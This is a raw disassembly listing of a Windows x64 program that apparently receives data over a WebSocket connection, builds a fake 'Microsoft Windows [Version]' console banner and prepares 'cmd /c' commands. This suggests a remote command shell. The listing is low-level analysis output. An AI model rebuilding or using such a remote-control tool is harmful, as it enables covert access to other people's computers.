movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], sil
mov r9, r15
lea r8, [rbp + 0x290]
lea rcx, [rbp + 0x110]
call fcn.140027950
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x14001d893
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d88d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f384
call fcn.140054120
nop
mov rdx, qword [rbp + 0x5e8]
cmp rdx, 0xf
jbe 0x14001d8d4
inc rdx
mov rcx, qword [rbp + 0x5d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d8cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f38a
call fcn.140054120
mov qword [rbp + 0x5e0], rsi
mov qword [rbp + 0x5e8], recv
mov byte [rbp + 0x5d0], 0
mov rdx, qword [rbp + 0x608]
cmp rdx, 0xf
jbe 0x14001d92e
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d929
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f390
call fcn.140054120
mov qword [rbp + 0x600], rsi
mov qword [rbp + 0x608], recv
mov byte [rbp + 0x5f0], 0
mov rdx, qword [rbp + 0x628]
cmp rdx, 0xf
jbe 0x14001d988
inc rdx
mov rcx, qword [rbp + 0x610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d983
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f396
call fcn.140054120
mov qword [rbp + 0x620], rsi
mov qword [rbp + 0x628], recv
mov byte [rbp + 0x610], 0
mov rdx, qword [rbp + 0x648]
cmp rdx, 0xf
jbe 0x14001d9e2
inc rdx
mov rcx, qword [rbp + 0x630]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d9dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f39c
call fcn.140054120
mov qword [rbp + 0x640], rsi
mov qword [rbp + 0x648], recv
mov byte [rbp + 0x630], 0
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0xf
jbe 0x14001da3c
inc rdx
mov rcx, qword [rbp + 0x490]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001da37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3a2
call fcn.140054120
mov qword [rbp + 0x4a0], rsi
mov qword [rbp + 0x4a8], recv
mov byte [rbp + 0x490], 0
mov rdx, qword [rbp + 0x488]
cmp rdx, 0xf
jbe 0x14001da96
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001da91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3a8
call fcn.140054120
mov qword [rbp + 0x480], rsi
mov qword [rbp + 0x488], recv
mov byte [rbp + 0x470], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x14001daf0
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001daeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3ae
call fcn.140054120
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2c8], recv
mov byte [rbp + 0x2b0], 0
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x14001db4a
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001db45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3b4
call fcn.140054120
mov qword [rbp + 0x2e0], rsi
mov qword [rbp + 0x2e8], recv
mov byte [rbp + 0x2d0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x14001dba4
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001db9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3ba
call fcn.140054120
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x228], recv
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x14001dbfe
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dbf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3c0
call fcn.140054120
mov qword [rbp + 0x240], rsi
mov qword [rbp + 0x248], recv
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x14001dc58
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dc53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3c6
call fcn.140054120
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], recv
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x14001dcb2
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dcad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3cc
call fcn.140054120
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], recv
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x14001dd0c
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dd07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3d2
call fcn.140054120
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], recv
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x14001dd66
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dd61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3d8
call fcn.140054120
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], recv
mov byte [rbp + 0x130], 0
lea rcx, [rbp + 0x650]
call fcn.140021a50
nop
lea r8, [0x1400a60b0]
cmp qword [0x1400a60c8], 7
cmova r8, qword [0x1400a60b0]
mov rax, qword [0x1400a60c0]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x650]
call fcn.140023880
nop
lea rcx, [rbp + 0x650]
call fcn.140021960
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], 3
mov qword [rbp + 0x1c8], recv
mov eax, dword [0x140092de4]
mov word [rbp + 0x1b0], ax
movzx eax, byte [0x140092de6]
mov byte [rbp + 0x1b2], al
mov byte [rbp + 0x1b3], 0
mov r9d, 4
lea r8, str.NewT
lea rcx, [rbp + 0x1b0]
call fcn.140027c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0x530]
cmp qword [rbp + 0x548], 0xf
cmova rdx, qword [rbp + 0x530]
mov r8, qword [rbp + 0x540]
lea rcx, [rbp + 0x290]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rsi
mov qword [rbp + 0x5c8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x5b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x5c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x5b0]
call fcn.140022950
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea r9, [rbp + 0x170]
lea r8, [rbp + 0x130]
lea rcx, [rbp + 0x590]
call fcn.140027950
nop
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x590]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x588], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x570], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x580], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
mov r8, qword [rbp + 0xa0]
lea rcx, [rbp + 0x570]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x550], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x560], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x550]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x510], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x520], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
xor r8d, r8d
lea rdx, [0x140092c06]
lea rcx, [rbp + 0x510]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rsi
mov qword [rbp + 0x508], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x500], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x4f0]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3e8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3e0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
xor r8d, r8d
lea rdx, [0x140092c06]
lea rcx, [rbp + 0x3d0]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], rsi
mov qword [rbp + 0x388], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x380], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x370]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], rsi
mov qword [rbp + 0x3a8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x390], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3a0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
xor r8d, r8d
lea rdx, [0x140092c06]
lea rcx, [rbp + 0x390]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x3c0], rsi
mov qword [rbp + 0x3c8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x3b0]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], rsi
mov qword [rbp + 0x428], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x410], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x420], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x410]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x430], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x440], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x430]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], rsi
mov qword [rbp + 0x408], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x400], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [0x1400a2c60]
cmp qword [0x1400a2c78], 0xf
cmova rdx, qword [0x1400a2c60]
mov r8, qword [0x1400a2c70]
lea rcx, [rbp + 0x3f0]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x360], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x350]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], rsi
mov qword [rbp + 0x348], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x340], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 9
lea rdx, str.WebSocket
lea rcx, [rbp + 0x330]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x328], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x320], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0x310]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rdx, qword [rbp + 0x110]
mov r8, qword [rbp + 0x120]
lea rcx, [rbp + 0x2f0]
call fcn.140022950
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
or r12d, 0xfffffe00
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x14001e4b5
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3de
call fcn.140054120
movups xmmword [rbp + 0x250], xmm6
movups xmmword [rbp + 0x260], xmm7
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x14001e504
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3e4
call fcn.140054120
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], recv
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x14001e55e
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3ea
call fcn.140054120
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x328], recv
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x14001e5b8
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e5b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3f0
call fcn.140054120
mov qword [rbp + 0x340], rsi
mov qword [rbp + 0x348], recv
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x14001e612
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e60d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3f6
call fcn.140054120
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], recv
mov byte [rbp + 0x350], 0
mov rdx, qword [rbp + 0x408]
cmp rdx, 0xf
jbe 0x14001e66c
inc rdx
mov rcx, qword [rbp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f3fc
call fcn.140054120
mov qword [rbp + 0x400], rsi
mov qword [rbp + 0x408], recv
mov byte [rbp + 0x3f0], 0
mov rdx, qword [rbp + 0x448]
cmp rdx, 0xf
jbe 0x14001e6c6
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e6c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f402
call fcn.140054120
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], recv
mov byte [rbp + 0x430], 0
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x14001e720
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e71b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f408
call fcn.140054120
mov qword [rbp + 0x420], rsi
mov qword [rbp + 0x428], recv
mov byte [rbp + 0x410], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x14001e77a
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e775
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f40e
call fcn.140054120
mov qword [rbp + 0x3c0], rsi
mov qword [rbp + 0x3c8], recv
mov byte [rbp + 0x3b0], 0
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x14001e7d4
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e7cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f414
call fcn.140054120
mov qword [rbp + 0x3a0], rsi
mov qword [rbp + 0x3a8], recv
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x14001e82e
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e829
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f41a
call fcn.140054120
mov qword [rbp + 0x380], rsi
mov qword [rbp + 0x388], recv
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0xf
jbe 0x14001e888
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e883
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f420
call fcn.140054120
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3e8], recv
mov byte [rbp + 0x3d0], 0
lea rcx, [rbp + 0x4f0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x510]
call fcn.140022a40
nop
lea rcx, [rbp + 0x550]
call fcn.140022a40
nop
lea rcx, [rbp + 0x570]
call fcn.140022a40
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0xf
jbe 0x14001e916
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e911
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f426
call fcn.140054120
mov qword [rbp + 0x5a0], rsi
mov qword [rbp + 0x5a8], recv
mov byte [rbp + 0x590], 0
lea rcx, [rbp + 0x130]
call fcn.140022a40
nop
lea rcx, [rbp + 0x5b0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x290]
call fcn.140022a40
nop
lea rcx, [rbp + 0x1b0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x170]
call fcn.140022a40
nop
lea rcx, [rbp + 0x110]
call fcn.140022a40
nop
lea rcx, [rbp + 0xb0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x90]
call fcn.140022a40
nop
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x14001e9d8
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e9d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f42c
call fcn.140054120
lea r15, [0x140015300]
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
lea rdx, [rbp + 0x250]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
xor edx, edx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rsp + 0x48], r15
lea rax, vtable.._AU_Callback__1____dispatch_P6AXAEBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z_WebSocket_wsclient__QEAAXP6AXAEBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z_Z_.0
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
lea rdx, [rsp + 0x50]
call qword [rax + 0x40]
inc r13
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x14001ea73
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ea6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f432
call fcn.140054120
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x38]
cmp eax, 1
jne 0x14001d5d0
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x38]
cmp eax, 1
je 0x14001f06b
lea rcx, [rbp + 0xb0]
call fcn.140005150
nop
lea r8, [rbp + 0xb0]
lea rdx, str.RBNEXPLORERDRIVE_
lea rcx, [rbp + 0x190]
call fcn.140025210
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140022aa0
lea rcx, [rbp + 0x190]
call fcn.140022a40
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x30], rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x190]
call fcn.140003a00
mov rbx, rax
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0xf0]
call fcn.140003fb0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
lea rcx, [rbp + 0x150]
call fcn.140022a40
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RtlGetVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x7f4]
call fcn.140080d20
mov dword [rbp + 0x7f0], 0x114
lea rcx, [rbp + 0x7f0]
call rbx
mov ebx, eax
lea rdx, [0x140092c06]
lea rcx, [rbp + 0x90]
call fcn.140022b60
nop
test ebx, ebx
jne 0x14001ed2c
mov edx, dword [rbp + 0x7fc]
lea rcx, [rbp + 0x490]
call fcn.140001810
mov rdi, rax
mov edx, dword [rbp + 0x7f8]
lea rcx, [rbp + 0x470]
call fcn.140001810
mov rbx, rax
mov edx, dword [rbp + 0x7f4]
lea rcx, [rbp + 0x2b0]
call fcn.140001810
nop
mov r8, rax
lea rdx, str.Microsoft_Windows__Version
lea rcx, [rbp + 0x2d0]
call fcn.140025280
nop
lea r8, [0x140093ef8]
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140025450
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.140025360
nop
lea r8, [0x140093ef8]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140025450
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140025360
nop
lea r8, [0x140093ef4]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140025450
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140022aa0
lea rcx, [rbp + 0x190]
call fcn.140022a40
nop
lea rcx, [rbp + 0xf0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x150]
call fcn.140022a40
nop
lea rcx, [rbp + 0x230]
call fcn.140022a40
nop
lea rcx, [rbp + 0x210]
call fcn.140022a40
nop
lea rcx, [rbp + 0x2d0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x2b0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x470]
call fcn.140022a40
nop
lea rcx, [rbp + 0x490]
call fcn.140022a40
lea r8, str._c__Microsoft_Corporation._All_rights_reserved.
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x190]
call fcn.1400253e0
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140022aa0
lea rcx, [rbp + 0x190]
call fcn.140022a40
lea rdx, str.cmd__c_cd
